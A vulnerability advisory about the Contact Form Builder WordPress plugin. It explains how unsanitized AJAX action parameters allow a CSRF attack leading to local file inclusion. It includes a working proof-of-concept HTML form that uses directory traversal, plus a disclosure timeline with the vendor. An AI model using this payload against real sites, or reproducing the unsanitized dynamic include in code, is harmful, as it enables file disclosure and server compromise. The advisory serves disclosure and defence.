Contact Form Builder [CSRF → LFI]
Contact Form Builder suffers for a CSRF issue that could lead to a Local File Inclusion attack.
Plugin implements the following AJAX actions:
All of them call the function
contact_form_maker_ajax. This function dynamicaly loads a file defined in
$_POST['action'] if the former is not defined. Because of the way WordPress defines the AJAX action a user could define the plugin action in the
$_GET['action'] and AJAX action in
$_POST['action']. Leveraging that and the fact that no sanitization is performed on the
$_GET['action'], a malicious actor can perform a CSRF attack to load a file using directory traversal thus leading to Local File Inclusion vulnerability.
<form method="post" action="http://wp-csrf-new.test/wp-admin/admin-ajax.php?action=/../../../../../../index"> <label>AJAX action: <select name="action"> <option value="ContactFormMakerPreview">ContactFormMakerPreview</option> <option value="ContactFormmakerwdcaptcha">ContactFormmakerwdcaptcha</option> <option value="nopriv_ContactFormmakerwdcaptcha">nopriv_ContactFormmakerwdcaptcha</option> <option value="CFMShortcode">CFMShortcode</option> </select> </label> <button type="submit" value="Submit">Submit</button> </form>
Vendor notified through contact form on 10web.io
Patch released (incomplete)
Notified vendor about the incomplete patch
Vendor responded that they will include a CSRF protection in a "future upgrade"